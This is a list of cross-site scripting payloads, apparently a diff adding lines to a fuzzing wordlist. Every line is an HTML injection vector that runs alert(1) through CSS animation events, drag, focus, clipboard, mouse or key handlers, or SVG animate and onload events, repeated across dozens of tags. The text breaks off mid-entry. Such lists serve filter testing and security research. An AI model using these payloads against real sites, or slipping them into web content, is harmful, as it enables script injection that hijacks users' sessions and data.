+<style>@keyframes x{}</style><bdi style="animation-name:x" onanimationend="alert(1)"></bdi> +<style>@keyframes x{}</style><bdi style="animation-name:x" onanimationstart="alert(1)"></bdi> +<style>@keyframes x{}</style><bdo style="animation-name:x" onanimationend="alert(1)"></bdo> +<style>@keyframes x{}</style><bdo style="animation-name:x" onanimationstart="alert(1)"></bdo> +<style>@keyframes x{}</style><bgsound style="animation-name:x" onanimationend="alert(1)"></bgsound> +<style>@keyframes x{}</style><bgsound style="animation-name:x" onanimationstart="alert(1)"></bgsound> +<style>@keyframes x{}</style><big style="animation-name:x" onanimationend="alert(1)"></big> +<style>@keyframes x{}</style><big style="animation-name:x" onanimationstart="alert(1)"></big> +<style>@keyframes x{}</style><blink style="animation-name:x" onanimationend="alert(1)"></blink> +<style>@keyframes x{}</style><blink style="animation-name:x" onanimationstart="alert(1)"></blink> +<style>@keyframes x{}</style><blockquote style="animation-name:x" onanimationend="alert(1)"></blockquote> +<style>@keyframes x{}</style><blockquote style="animation-name:x" onanimationstart="alert(1)"></blockquote> +<style>@keyframes x{}</style><body style="animation-name:x" onanimationend="alert(1)"></body> +<style>@keyframes x{}</style><body style="animation-name:x" onanimationstart="alert(1)"></body> +<style>@keyframes x{}</style><br style="animation-name:x" onanimationend="alert(1)"></br> +<style>@keyframes x{}</style><br style="animation-name:x" onanimationstart="alert(1)"></br> +<style>@keyframes x{}</style><button style="animation-name:x" onanimationend="alert(1)"></button> +<style>@keyframes x{}</style><button style="animation-name:x" onanimationstart="alert(1)"></button> +<style>@keyframes x{}</style><canvas style="animation-name:x" onanimationend="alert(1)"></canvas> +<style>@keyframes x{}</style><canvas style="animation-name:x" onanimationstart="alert(1)"></canvas> +<style>@keyframes x{}</style><caption style="animation-name:x" onanimationend="alert(1)"></caption> +<style>@keyframes x{}</style><caption style="animation-name:x" onanimationstart="alert(1)"></caption> +<style>@keyframes x{}</style><center style="animation-name:x" onanimationend="alert(1)"></center> +<style>@keyframes x{}</style><center style="animation-name:x" onanimationstart="alert(1)"></center> +<style>@keyframes x{}</style><cite style="animation-name:x" onanimationend="alert(1)"></cite> +<style>@keyframes x{}</style><cite style="animation-name:x" onanimationstart="alert(1)"></cite> +<style>@keyframes x{}</style><code style="animation-name:x" onanimationend="alert(1)"></code> +<style>@keyframes x{}</style><code style="animation-name:x" onanimationstart="alert(1)"></code> +<style>@keyframes x{}</style><col style="animation-name:x" onanimationend="alert(1)"></col> +<style>@keyframes x{}</style><col style="animation-name:x" onanimationstart="alert(1)"></col> +<style>@keyframes x{}</style><colgroup style="animation-name:x" onanimationend="alert(1)"></colgroup> +<style>@keyframes x{}</style><colgroup style="animation-name:x" onanimationstart="alert(1)"></colgroup> +<style>@keyframes x{}</style><command style="animation-name:x" onanimationend="alert(1)"></command> +<style>@keyframes x{}</style><command style="animation-name:x" onanimationstart="alert(1)"></command> +<style>@keyframes x{}</style><content style="animation-name:x" onanimationend="alert(1)"></content> +<style>@keyframes x{}</style><content style="animation-name:x" onanimationstart="alert(1)"></content> +<style>@keyframes x{}</style><data style="animation-name:x" onanimationend="alert(1)"></data> +<style>@keyframes x{}</style><data style="animation-name:x" onanimationstart="alert(1)"></data> +<style>@keyframes x{}</style><datalist style="animation-name:x" onanimationend="alert(1)"></datalist> +<style>@keyframes x{}</style><datalist style="animation-name:x" onanimationstart="alert(1)"></datalist> +<style>@keyframes x{}</style><dd style="animation-name:x" onanimationend="alert(1)"></dd> +<style>@keyframes x{}</style><dd style="animation-name:x" onanimationstart="alert(1)"></dd> +<style>@keyframes x{}</style><del style="animation-name:x" onanimationend="alert(1)"></del> +<style>@keyframes x{}</style><del style="animation-name:x" onanimationstart="alert(1)"></del> +<style>@keyframes x{}</style><details style="animation-name:x" onanimationend="alert(1)"></details> +<style>@keyframes x{}</style><details style="animation-name:x" onanimationstart="alert(1)"></details> +<style>@keyframes x{}</style><dfn style="animation-name:x" onanimationend="alert(1)"></dfn> +<style>@keyframes x{}</style><dfn style="animation-name:x" onanimationstart="alert(1)"></dfn> +<style>@keyframes x{}</style><dialog style="animation-name:x" onanimationend="alert(1)"></dialog> +<style>@keyframes x{}</style><dialog style="animation-name:x" onanimationstart="alert(1)"></dialog> +<style>@keyframes x{}</style><dir style="animation-name:x" onanimationend="alert(1)"></dir> +<style>@keyframes x{}</style><dir style="animation-name:x" onanimationstart="alert(1)"></dir> +<style>@keyframes x{}</style><div style="animation-name:x" onanimationend="alert(1)"></div> +<style>@keyframes x{}</style><div style="animation-name:x" onanimationstart="alert(1)"></div> +<style>@keyframes x{}</style><dl style="animation-name:x" onanimationend="alert(1)"></dl> +<style>@keyframes x{}</style><dl style="animation-name:x" onanimationstart="alert(1)"></dl> +<style>@keyframes x{}</style><dt style="animation-name:x" onanimationend="alert(1)"></dt> +<style>@keyframes x{}</style><dt style="animation-name:x" onanimationstart="alert(1)"></dt> +<style>@keyframes x{}</style><element style="animation-name:x" onanimationend="alert(1)"></element> +<style>@keyframes x{}</style><element style="animation-name:x" onanimationstart="alert(1)"></element> +<style>@keyframes x{}</style><em style="animation-name:x" onanimationend="alert(1)"></em> +<style>@keyframes x{}</style><em style="animation-name:x" onanimationstart="alert(1)"></em> +<style>@keyframes x{}</style><embed style="animation-name:x" onanimationend="alert(1)"></embed> +<style>@keyframes x{}</style><embed style="animation-name:x" onanimationstart="alert(1)"></embed> +<style>@keyframes x{}</style><fieldset style="animation-name:x" onanimationend="alert(1)"></fieldset> +<style>@keyframes x{}</style><fieldset style="animation-name:x" onanimationstart="alert(1)"></fieldset> +<style>@keyframes x{}</style><figcaption style="animation-name:x" onanimationend="alert(1)"></figcaption> +<style>@keyframes x{}</style><figcaption style="animation-name:x" onanimationstart="alert(1)"></figcaption> +<style>@keyframes x{}</style><figure style="animation-name:x" onanimationend="alert(1)"></figure> +<style>@keyframes x{}</style><figure style="animation-name:x" onanimationstart="alert(1)"></figure> +<style>@keyframes x{}</style><font style="animation-name:x" onanimationend="alert(1)"></font> +<style>@keyframes x{}</style><font style="animation-name:x" onanimationstart="alert(1)"></font> +<style>@keyframes x{}</style><footer style="animation-name:x" onanimationend="alert(1)"></footer> +<style>@keyframes x{}</style><footer style="animation-name:x" onanimationstart="alert(1)"></footer> +<style>@keyframes x{}</style><form style="animation-name:x" onanimationend="alert(1)"></form> +<style>@keyframes x{}</style><form style="animation-name:x" onanimationstart="alert(1)"></form> +<style>@keyframes x{}</style><frame style="animation-name:x" onanimationend="alert(1)"></frame> +<style>@keyframes x{}</style><frame style="animation-name:x" onanimationstart="alert(1)"></frame> +<style>@keyframes x{}</style><frameset style="animation-name:x" onanimationend="alert(1)"></frameset> +<style>@keyframes x{}</style><frameset style="animation-name:x" onanimationstart="alert(1)"></frameset> +<style>@keyframes x{}</style><h1 style="animation-name:x" onanimationend="alert(1)"></h1> +<style>@keyframes x{}</style><h1 style="animation-name:x" onanimationstart="alert(1)"></h1> +<style>@keyframes x{}</style><head style="animation-name:x" onanimationend="alert(1)"></head> +<style>@keyframes x{}</style><head style="animation-name:x" onanimationstart="alert(1)"></head> +<style>@keyframes x{}</style><header style="animation-name:x" onanimationend="alert(1)"></header> +<style>@keyframes x{}</style><header style="animation-name:x" onanimationstart="alert(1)"></header> +<style>@keyframes x{}</style><hgroup style="animation-name:x" onanimationend="alert(1)"></hgroup> +<style>@keyframes x{}</style><hgroup style="animation-name:x" onanimationstart="alert(1)"></hgroup> +<style>@keyframes x{}</style><hr style="animation-name:x" onanimationend="alert(1)"></hr> +<style>@keyframes x{}</style><hr style="animation-name:x" onanimationstart="alert(1)"></hr> +<style>@keyframes x{}</style><html style="animation-name:x" onanimationend="alert(1)"></html> +<style>@keyframes x{}</style><html style="animation-name:x" onanimationstart="alert(1)"></html> +<style>@keyframes x{}</style><i style="animation-name:x" onanimationend="alert(1)"></i> +<style>@keyframes x{}</style><i style="animation-name:x" onanimationstart="alert(1)"></i> +<style>@keyframes x{}</style><iframe style="animation-name:x" onanimationend="alert(1)"></iframe> +<style>@keyframes x{}</style><iframe style="animation-name:x" onanimationstart="alert(1)"></iframe> +<style>@keyframes x{}</style><image style="animation-name:x" onanimationend="alert(1)"></image> +<style>@keyframes x{}</style><image style="animation-name:x" onanimationstart="alert(1)"></image> +<style>@keyframes x{}</style><img style="animation-name:x" onanimationend="alert(1)"></img> +<style>@keyframes x{}</style><img style="animation-name:x" onanimationstart="alert(1)"></img> +<style>@keyframes x{}</style><input style="animation-name:x" onanimationend="alert(1)"></input> +<style>@keyframes x{}</style><input style="animation-name:x" onanimationstart="alert(1)"></input> +<style>@keyframes x{}</style><ins style="animation-name:x" onanimationend="alert(1)"></ins> +<style>@keyframes x{}</style><ins style="animation-name:x" onanimationstart="alert(1)"></ins> +<style>@keyframes x{}</style><isindex style="animation-name:x" onanimationend="alert(1)"></isindex> +<style>@keyframes x{}</style><isindex style="animation-name:x" onanimationstart="alert(1)"></isindex> +<style>@keyframes x{}</style><kbd style="animation-name:x" onanimationend="alert(1)"></kbd> +<style>@keyframes x{}</style><kbd style="animation-name:x" onanimationstart="alert(1)"></kbd> +<style>@keyframes x{}</style><keygen style="animation-name:x" onanimationend="alert(1)"></keygen> +<style>@keyframes x{}</style><keygen style="animation-name:x" onanimationstart="alert(1)"></keygen> +<style>@keyframes x{}</style><label style="animation-name:x" onanimationend="alert(1)"></label> +<style>@keyframes x{}</style><label style="animation-name:x" onanimationstart="alert(1)"></label> +<style>@keyframes x{}</style><legend style="animation-name:x" onanimationend="alert(1)"></legend> +<style>@keyframes x{}</style><legend style="animation-name:x" onanimationstart="alert(1)"></legend> +<style>@keyframes x{}</style><li style="animation-name:x" onanimationend="alert(1)"></li> +<style>@keyframes x{}</style><li style="animation-name:x" onanimationstart="alert(1)"></li> +<style>@keyframes x{}</style><link style="animation-name:x" onanimationend="alert(1)"></link> +<style>@keyframes x{}</style><link style="animation-name:x" onanimationstart="alert(1)"></link> +<style>@keyframes x{}</style><listing style="animation-name:x" onanimationend="alert(1)"></listing> +<style>@keyframes x{}</style><listing style="animation-name:x" onanimationstart="alert(1)"></listing> +<style>@keyframes x{}</style><main style="animation-name:x" onanimationend="alert(1)"></main> +<style>@keyframes x{}</style><main style="animation-name:x" onanimationstart="alert(1)"></main> +<style>@keyframes x{}</style><map style="animation-name:x" onanimationend="alert(1)"></map> +<style>@keyframes x{}</style><map style="animation-name:x" onanimationstart="alert(1)"></map> +<style>@keyframes x{}</style><mark style="animation-name:x" onanimationend="alert(1)"></mark> +<style>@keyframes x{}</style><mark style="animation-name:x" onanimationstart="alert(1)"></mark> +<style>@keyframes x{}</style><marquee style="animation-name:x" onanimationend="alert(1)"></marquee> +<style>@keyframes x{}</style><marquee style="animation-name:x" onanimationstart="alert(1)"></marquee> +<style>@keyframes x{}</style><menu style="animation-name:x" onanimationend="alert(1)"></menu> +<style>@keyframes x{}</style><menu style="animation-name:x" onanimationstart="alert(1)"></menu> +<style>@keyframes x{}</style><menuitem style="animation-name:x" onanimationend="alert(1)"></menuitem> +<style>@keyframes x{}</style><menuitem style="animation-name:x" onanimationstart="alert(1)"></menuitem> +<style>@keyframes x{}</style><meta style="animation-name:x" onanimationend="alert(1)"></meta> +<style>@keyframes x{}</style><meta style="animation-name:x" onanimationstart="alert(1)"></meta> +<style>@keyframes x{}</style><meter style="animation-name:x" onanimationend="alert(1)"></meter> +<style>@keyframes x{}</style><meter style="animation-name:x" onanimationstart="alert(1)"></meter> +<style>@keyframes x{}</style><multicol style="animation-name:x" onanimationend="alert(1)"></multicol> +<style>@keyframes x{}</style><multicol style="animation-name:x" onanimationstart="alert(1)"></multicol> +<style>@keyframes x{}</style><nav style="animation-name:x" onanimationend="alert(1)"></nav> +<style>@keyframes x{}</style><nav style="animation-name:x" onanimationstart="alert(1)"></nav> +<style>@keyframes x{}</style><nextid style="animation-name:x" onanimationend="alert(1)"></nextid> +<style>@keyframes x{}</style><nextid style="animation-name:x" onanimationstart="alert(1)"></nextid> +<style>@keyframes x{}</style><nobr style="animation-name:x" onanimationend="alert(1)"></nobr> +<style>@keyframes x{}</style><nobr style="animation-name:x" onanimationstart="alert(1)"></nobr> +<style>@keyframes x{}</style><noembed style="animation-name:x" onanimationend="alert(1)"></noembed> +<style>@keyframes x{}</style><noembed style="animation-name:x" onanimationstart="alert(1)"></noembed> +<style>@keyframes x{}</style><noframes style="animation-name:x" onanimationend="alert(1)"></noframes> +<style>@keyframes x{}</style><noframes style="animation-name:x" onanimationstart="alert(1)"></noframes> +<style>@keyframes x{}</style><noscript style="animation-name:x" onanimationend="alert(1)"></noscript> +<style>@keyframes x{}</style><noscript style="animation-name:x" onanimationstart="alert(1)"></noscript> +<style>@keyframes x{}</style><object style="animation-name:x" onanimationend="alert(1)"></object> +<style>@keyframes x{}</style><object style="animation-name:x" onanimationstart="alert(1)"></object> +<style>@keyframes x{}</style><ol style="animation-name:x" onanimationend="alert(1)"></ol> +<style>@keyframes x{}</style><ol style="animation-name:x" onanimationstart="alert(1)"></ol> +<style>@keyframes x{}</style><optgroup style="animation-name:x" onanimationend="alert(1)"></optgroup> +<style>@keyframes x{}</style><optgroup style="animation-name:x" onanimationstart="alert(1)"></optgroup> +<style>@keyframes x{}</style><option style="animation-name:x" onanimationend="alert(1)"></option> +<style>@keyframes x{}</style><option style="animation-name:x" onanimationstart="alert(1)"></option> +<style>@keyframes x{}</style><output style="animation-name:x" onanimationend="alert(1)"></output> +<style>@keyframes x{}</style><output style="animation-name:x" onanimationstart="alert(1)"></output> +<style>@keyframes x{}</style><p style="animation-name:x" onanimationend="alert(1)"></p> +<style>@keyframes x{}</style><p style="animation-name:x" onanimationstart="alert(1)"></p> +<style>@keyframes x{}</style><param style="animation-name:x" onanimationend="alert(1)"></param> +<style>@keyframes x{}</style><param style="animation-name:x" onanimationstart="alert(1)"></param> +<style>@keyframes x{}</style><picture style="animation-name:x" onanimationend="alert(1)"></picture> +<style>@keyframes x{}</style><picture style="animation-name:x" onanimationstart="alert(1)"></picture> +<style>@keyframes x{}</style><plaintext style="animation-name:x" onanimationend="alert(1)"></plaintext> +<style>@keyframes x{}</style><plaintext style="animation-name:x" onanimationstart="alert(1)"></plaintext> +<style>@keyframes x{}</style><pre style="animation-name:x" onanimationend="alert(1)"></pre> +<style>@keyframes x{}</style><pre style="animation-name:x" onanimationstart="alert(1)"></pre> +<style>@keyframes x{}</style><progress style="animation-name:x" onanimationend="alert(1)"></progress> +<style>@keyframes x{}</style><progress style="animation-name:x" onanimationstart="alert(1)"></progress> +<style>@keyframes x{}</style><q style="animation-name:x" onanimationend="alert(1)"></q> +<style>@keyframes x{}</style><q style="animation-name:x" onanimationstart="alert(1)"></q> +<style>@keyframes x{}</style><rb style="animation-name:x" onanimationend="alert(1)"></rb> +<style>@keyframes x{}</style><rb style="animation-name:x" onanimationstart="alert(1)"></rb> +<style>@keyframes x{}</style><rp style="animation-name:x" onanimationend="alert(1)"></rp> +<style>@keyframes x{}</style><rp style="animation-name:x" onanimationstart="alert(1)"></rp> +<style>@keyframes x{}</style><rt style="animation-name:x" onanimationend="alert(1)"></rt> +<style>@keyframes x{}</style><rt style="animation-name:x" onanimationstart="alert(1)"></rt> +<style>@keyframes x{}</style><rtc style="animation-name:x" onanimationend="alert(1)"></rtc> +<style>@keyframes x{}</style><rtc style="animation-name:x" onanimationstart="alert(1)"></rtc> +<style>@keyframes x{}</style><ruby style="animation-name:x" onanimationend="alert(1)"></ruby> +<style>@keyframes x{}</style><ruby style="animation-name:x" onanimationstart="alert(1)"></ruby> +<style>@keyframes x{}</style><s style="animation-name:x" onanimationend="alert(1)"></s> +<style>@keyframes x{}</style><s style="animation-name:x" onanimationstart="alert(1)"></s> +<style>@keyframes x{}</style><samp style="animation-name:x" onanimationend="alert(1)"></samp> +<style>@keyframes x{}</style><samp style="animation-name:x" onanimationstart="alert(1)"></samp> +<style>@keyframes x{}</style><script style="animation-name:x" onanimationend="alert(1)"></script> +<style>@keyframes x{}</style><script style="animation-name:x" onanimationstart="alert(1)"></script> +<style>@keyframes x{}</style><section style="animation-name:x" onanimationend="alert(1)"></section> +<style>@keyframes x{}</style><section style="animation-name:x" onanimationstart="alert(1)"></section> +<style>@keyframes x{}</style><select style="animation-name:x" onanimationend="alert(1)"></select> +<style>@keyframes x{}</style><select style="animation-name:x" onanimationstart="alert(1)"></select> +<style>@keyframes x{}</style><shadow style="animation-name:x" onanimationend="alert(1)"></shadow> +<style>@keyframes x{}</style><shadow style="animation-name:x" onanimationstart="alert(1)"></shadow> +<style>@keyframes x{}</style><slot style="animation-name:x" onanimationend="alert(1)"></slot> +<style>@keyframes x{}</style><slot style="animation-name:x" onanimationstart="alert(1)"></slot> +<style>@keyframes x{}</style><small style="animation-name:x" onanimationend="alert(1)"></small> +<style>@keyframes x{}</style><small style="animation-name:x" onanimationstart="alert(1)"></small> +<style>@keyframes x{}</style><source style="animation-name:x" onanimationend="alert(1)"></source> +<style>@keyframes x{}</style><source style="animation-name:x" onanimationstart="alert(1)"></source> +<style>@keyframes x{}</style><spacer style="animation-name:x" onanimationend="alert(1)"></spacer> +<style>@keyframes x{}</style><spacer style="animation-name:x" onanimationstart="alert(1)"></spacer> +<style>@keyframes x{}</style><span style="animation-name:x" onanimationend="alert(1)"></span> +<style>@keyframes x{}</style><span style="animation-name:x" onanimationstart="alert(1)"></span> +<style>@keyframes x{}</style><strike style="animation-name:x" onanimationend="alert(1)"></strike> +<style>@keyframes x{}</style><strike style="animation-name:x" onanimationstart="alert(1)"></strike> +<style>@keyframes x{}</style><strong style="animation-name:x" onanimationend="alert(1)"></strong> +<style>@keyframes x{}</style><strong style="animation-name:x" onanimationstart="alert(1)"></strong> +<style>@keyframes x{}</style><style style="animation-name:x" onanimationend="alert(1)"></style> +<style>@keyframes x{}</style><style style="animation-name:x" onanimationstart="alert(1)"></style> +<style>@keyframes x{}</style><sub style="animation-name:x" onanimationend="alert(1)"></sub> +<style>@keyframes x{}</style><sub style="animation-name:x" onanimationstart="alert(1)"></sub> +<style>@keyframes x{}</style><summary style="animation-name:x" onanimationend="alert(1)"></summary> +<style>@keyframes x{}</style><summary style="animation-name:x" onanimationstart="alert(1)"></summary> +<style>@keyframes x{}</style><sup style="animation-name:x" onanimationend="alert(1)"></sup> +<style>@keyframes x{}</style><sup style="animation-name:x" onanimationstart="alert(1)"></sup> +<style>@keyframes x{}</style><svg style="animation-name:x" onanimationend="alert(1)"></svg> +<style>@keyframes x{}</style><svg style="animation-name:x" onanimationstart="alert(1)"></svg> +<style>@keyframes x{}</style><table style="animation-name:x" onanimationend="alert(1)"></table> +<style>@keyframes x{}</style><table style="animation-name:x" onanimationstart="alert(1)"></table> +<style>@keyframes x{}</style><tbody style="animation-name:x" onanimationend="alert(1)"></tbody> +<style>@keyframes x{}</style><tbody style="animation-name:x" onanimationstart="alert(1)"></tbody> +<style>@keyframes x{}</style><td style="animation-name:x" onanimationend="alert(1)"></td> +<style>@keyframes x{}</style><td style="animation-name:x" onanimationstart="alert(1)"></td> +<style>@keyframes x{}</style><template style="animation-name:x" onanimationend="alert(1)"></template> +<style>@keyframes x{}</style><template style="animation-name:x" onanimationstart="alert(1)"></template> +<style>@keyframes x{}</style><textarea style="animation-name:x" onanimationend="alert(1)"></textarea> +<style>@keyframes x{}</style><textarea style="animation-name:x" onanimationstart="alert(1)"></textarea> +<style>@keyframes x{}</style><tfoot style="animation-name:x" onanimationend="alert(1)"></tfoot> +<style>@keyframes x{}</style><tfoot style="animation-name:x" onanimationstart="alert(1)"></tfoot> +<style>@keyframes x{}</style><th style="animation-name:x" onanimationend="alert(1)"></th> +<style>@keyframes x{}</style><th style="animation-name:x" onanimationstart="alert(1)"></th> +<style>@keyframes x{}</style><thead style="animation-name:x" onanimationend="alert(1)"></thead> +<style>@keyframes x{}</style><thead style="animation-name:x" onanimationstart="alert(1)"></thead> +<style>@keyframes x{}</style><time style="animation-name:x" onanimationend="alert(1)"></time> +<style>@keyframes x{}</style><time style="animation-name:x" onanimationstart="alert(1)"></time> +<style>@keyframes x{}</style><title style="animation-name:x" onanimationend="alert(1)"></title> +<style>@keyframes x{}</style><title style="animation-name:x" onanimationstart="alert(1)"></title> +<style>@keyframes x{}</style><tr style="animation-name:x" onanimationend="alert(1)"></tr> +<style>@keyframes x{}</style><tr style="animation-name:x" onanimationstart="alert(1)"></tr> +<style>@keyframes x{}</style><track style="animation-name:x" onanimationend="alert(1)"></track> +<style>@keyframes x{}</style><track style="animation-name:x" onanimationstart="alert(1)"></track> +<style>@keyframes x{}</style><tt style="animation-name:x" onanimationend="alert(1)"></tt> +<style>@keyframes x{}</style><tt style="animation-name:x" onanimationstart="alert(1)"></tt> +<style>@keyframes x{}</style><u style="animation-name:x" onanimationend="alert(1)"></u> +<style>@keyframes x{}</style><u style="animation-name:x" onanimationstart="alert(1)"></u> +<style>@keyframes x{}</style><ul style="animation-name:x" onanimationend="alert(1)"></ul> +<style>@keyframes x{}</style><ul style="animation-name:x" onanimationstart="alert(1)"></ul> +<style>@keyframes x{}</style><var style="animation-name:x" onanimationend="alert(1)"></var> +<style>@keyframes x{}</style><var style="animation-name:x" onanimationstart="alert(1)"></var> +<style>@keyframes x{}</style><video style="animation-name:x" onanimationend="alert(1)"></video> +<style>@keyframes x{}</style><video style="animation-name:x" onanimationstart="alert(1)"></video> +<style>@keyframes x{}</style><wbr style="animation-name:x" onanimationend="alert(1)"></wbr> +<style>@keyframes x{}</style><wbr style="animation-name:x" onanimationstart="alert(1)"></wbr> +<style>@keyframes x{}</style><xmp style="animation-name:x" onanimationend="alert(1)"></xmp> +<style>@keyframes x{}</style><xmp style="animation-name:x" onanimationstart="alert(1)"></xmp> +<style>@keyframes x{}</style><xss style="animation-name:x" onanimationend="alert(1)"></xss> +<style>@keyframes x{}</style><xss style="animation-name:x" onanimationstart="alert(1)"></xss> +<sub draggable="true" ondrag="alert(1)">test</sub> +<sub draggable="true" ondragend="alert(1)">test</sub> +<sub draggable="true" ondragenter="alert(1)">test</sub> +<sub draggable="true" ondragleave="alert(1)">test</sub> +<sub draggable="true" ondragstart="alert(1)">test</sub> +<sub id=x tabindex=1 onactivate=alert(1)></sub> +<sub id=x tabindex=1 onbeforeactivate=alert(1)></sub> +<sub id=x tabindex=1 onbeforedeactivate=alert(1)></sub><input autofocus> +<sub id=x tabindex=1 ondeactivate=alert(1)></sub><input id=y autofocus> +<sub id=x tabindex=1 onfocus=alert(1)></sub> +<sub id=x tabindex=1 onfocusin=alert(1)></sub> +<sub onbeforecopy="alert(1)" contenteditable>test</sub> +<sub onbeforecut="alert(1)" contenteditable>test</sub> +<sub onbeforepaste="alert(1)" contenteditable>test</sub> +<sub onblur=alert(1) tabindex=1 id=x></sub><input autofocus> +<sub onclick="alert(1)">test</sub> +<sub oncontextmenu="alert(1)">test</sub> +<sub oncopy="alert(1)" contenteditable>test</sub> +<sub oncut="alert(1)" contenteditable>test</sub> +<sub ondblclick="alert(1)">test</sub> +<sub onfocusout=alert(1) tabindex=1 id=x></sub><input autofocus> +<sub onkeydown="alert(1)" contenteditable>test</sub> +<sub onkeypress="alert(1)" contenteditable>test</sub> +<sub onkeyup="alert(1)" contenteditable>test</sub> +<sub onmousedown="alert(1)">test</sub> +<sub onmouseenter="alert(1)">test</sub> +<sub onmouseleave="alert(1)">test</sub> +<sub onmousemove="alert(1)">test</sub> +<sub onmouseout="alert(1)">test</sub> +<sub onmouseover="alert(1)">test</sub> +<sub onmouseup="alert(1)">test</sub> +<sub onpaste="alert(1)" contenteditable>test</sub> +<summary draggable="true" ondrag="alert(1)">test</summary> +<summary draggable="true" ondragend="alert(1)">test</summary> +<summary draggable="true" ondragenter="alert(1)">test</summary> +<summary draggable="true" ondragleave="alert(1)">test</summary> +<summary draggable="true" ondragstart="alert(1)">test</summary> +<summary id=x tabindex=1 onactivate=alert(1)></summary> +<summary id=x tabindex=1 onbeforeactivate=alert(1)></summary> +<summary id=x tabindex=1 onbeforedeactivate=alert(1)></summary><input autofocus> +<summary id=x tabindex=1 ondeactivate=alert(1)></summary><input id=y autofocus> +<summary id=x tabindex=1 onfocus=alert(1)></summary> +<summary id=x tabindex=1 onfocusin=alert(1)></summary> +<summary onbeforecopy="alert(1)" contenteditable>test</summary> +<summary onbeforecut="alert(1)" contenteditable>test</summary> +<summary onbeforepaste="alert(1)" contenteditable>test</summary> +<summary onblur=alert(1) tabindex=1 id=x></summary><input autofocus> +<summary onclick="alert(1)">test</summary> +<summary oncontextmenu="alert(1)">test</summary> +<summary oncopy="alert(1)" contenteditable>test</summary> +<summary oncut="alert(1)" contenteditable>test</summary> +<summary ondblclick="alert(1)">test</summary> +<summary onfocusout=alert(1) tabindex=1 id=x></summary><input autofocus> +<summary onkeydown="alert(1)" contenteditable>test</summary> +<summary onkeypress="alert(1)" contenteditable>test</summary> +<summary onkeyup="alert(1)" contenteditable>test</summary> +<summary onmousedown="alert(1)">test</summary> +<summary onmouseenter="alert(1)">test</summary> +<summary onmouseleave="alert(1)">test</summary> +<summary onmousemove="alert(1)">test</summary> +<summary onmouseout="alert(1)">test</summary> +<summary onmouseover="alert(1)">test</summary> +<summary onmouseup="alert(1)">test</summary> +<summary onpaste="alert(1)" contenteditable>test</summary> +<sup draggable="true" ondrag="alert(1)">test</sup> +<sup draggable="true" ondragend="alert(1)">test</sup> +<sup draggable="true" ondragenter="alert(1)">test</sup> +<sup draggable="true" ondragleave="alert(1)">test</sup> +<sup draggable="true" ondragstart="alert(1)">test</sup> +<sup id=x tabindex=1 onactivate=alert(1)></sup> +<sup id=x tabindex=1 onbeforeactivate=alert(1)></sup> +<sup id=x tabindex=1 onbeforedeactivate=alert(1)></sup><input autofocus> +<sup id=x tabindex=1 ondeactivate=alert(1)></sup><input id=y autofocus> +<sup id=x tabindex=1 onfocus=alert(1)></sup> +<sup id=x tabindex=1 onfocusin=alert(1)></sup> +<sup onbeforecopy="alert(1)" contenteditable>test</sup> +<sup onbeforecut="alert(1)" contenteditable>test</sup> +<sup onbeforepaste="alert(1)" contenteditable>test</sup> +<sup onblur=alert(1) tabindex=1 id=x></sup><input autofocus> +<sup onclick="alert(1)">test</sup> +<sup oncontextmenu="alert(1)">test</sup> +<sup oncopy="alert(1)" contenteditable>test</sup> +<sup oncut="alert(1)" contenteditable>test</sup> +<sup ondblclick="alert(1)">test</sup> +<sup onfocusout=alert(1) tabindex=1 id=x></sup><input autofocus> +<sup onkeydown="alert(1)" contenteditable>test</sup> +<sup onkeypress="alert(1)" contenteditable>test</sup> +<sup onkeyup="alert(1)" contenteditable>test</sup> +<sup onmousedown="alert(1)">test</sup> +<sup onmouseenter="alert(1)">test</sup> +<sup onmouseleave="alert(1)">test</sup> +<sup onmousemove="alert(1)">test</sup> +<sup onmouseout="alert(1)">test</sup> +<sup onmouseover="alert(1)">test</sup> +<sup onmouseup="alert(1)">test</sup> +<sup onpaste="alert(1)" contenteditable>test</sup> +<svg draggable="true" ondrag="alert(1)">test</svg> +<svg draggable="true" ondragend="alert(1)">test</svg> +<svg draggable="true" ondragenter="alert(1)">test</svg> +<svg draggable="true" ondragleave="alert(1)">test</svg> +<svg draggable="true" ondragstart="alert(1)">test</svg> +<svg id=x onfocus=alert(1)> +<svg id=x onfocusin=alert(1)> +<svg id=x tabindex=1 onactivate=alert(1)></svg> +<svg id=x tabindex=1 onbeforeactivate=alert(1)></svg> +<svg id=x tabindex=1 onbeforedeactivate=alert(1)></svg><input autofocus> +<svg id=x tabindex=1 ondeactivate=alert(1)></svg><input id=y autofocus> +<svg onbeforecopy="alert(1)" contenteditable>test</svg> +<svg onbeforecut="alert(1)" contenteditable>test</svg> +<svg onbeforepaste="alert(1)" contenteditable>test</svg> +<svg onblur=alert(1) tabindex=1 id=x></svg><input autofocus> +<svg onclick="alert(1)">test</svg> +<svg oncontextmenu="alert(1)">test</svg> +<svg oncopy="alert(1)" contenteditable>test</svg> +<svg oncut="alert(1)" contenteditable>test</svg> +<svg ondblclick="alert(1)">test</svg> +<svg onfocusout=alert(1) tabindex=1 id=x></svg><input autofocus> +<svg onkeydown="alert(1)" contenteditable>test</svg> +<svg onkeypress="alert(1)" contenteditable>test</svg> +<svg onkeyup="alert(1)" contenteditable>test</svg> +<svg onload=alert(1)> +<svg onmousedown="alert(1)">test</svg> +<svg onmouseenter="alert(1)">test</svg> +<svg onmouseleave="alert(1)">test</svg> +<svg onmousemove="alert(1)">test</svg> +<svg onmouseout="alert(1)">test</svg> +<svg onmouseover="alert(1)">test</svg> +<svg onmouseup="alert(1)">test</svg> +<svg onpaste="alert(1)" contenteditable>test</svg> +<svg onunload=window.open('javascript:alert(1)')> +<svg><a onload=alert(1)></a> +<svg><abbr onload=alert(1)></abbr> +<svg><acronym onload=alert(1)></acronym> +<svg><address onload=alert(1)></address> +<svg><animate onbegin=alert(1) attributeName=x dur=1s> +<svg><animate onend=alert(1) attributeName=x dur=1s> +<svg><animate onrepeat=alert(1) attributeName=x dur=1s repeatCount=2 /> +<svg><animatetransform onbegin=alert(1) attributeName=transform> +<svg><animatetransform onend=alert(1) attributeName=transform dur=1s> +<svg><animatetransform onrepeat=alert(1) attributeName=transform repeatCount=2 dur=1s> +<svg><applet onload=alert(1)></applet> +<svg><area onload=alert(1)></area> +<svg><article onload=alert(1)></article> +<svg><aside onload=alert(1)></aside> +<svg><audio onload=alert(1)></audio> +<svg><b onload=alert(1)></b> +<svg><base onload=alert(1)></base> +<svg><basefont onload=alert(1)></basefont> +<svg><bdi onload=alert(1)></bdi> +<svg><bdo onload=alert(1)></bdo> +<svg><bgsound onload=alert(1)></bgsound> +<svg><big onload=alert(1)></big> +<svg><blink onload=alert(1)></blink> +<svg><blockquote onload=alert(1)></blockquote> +<svg><br 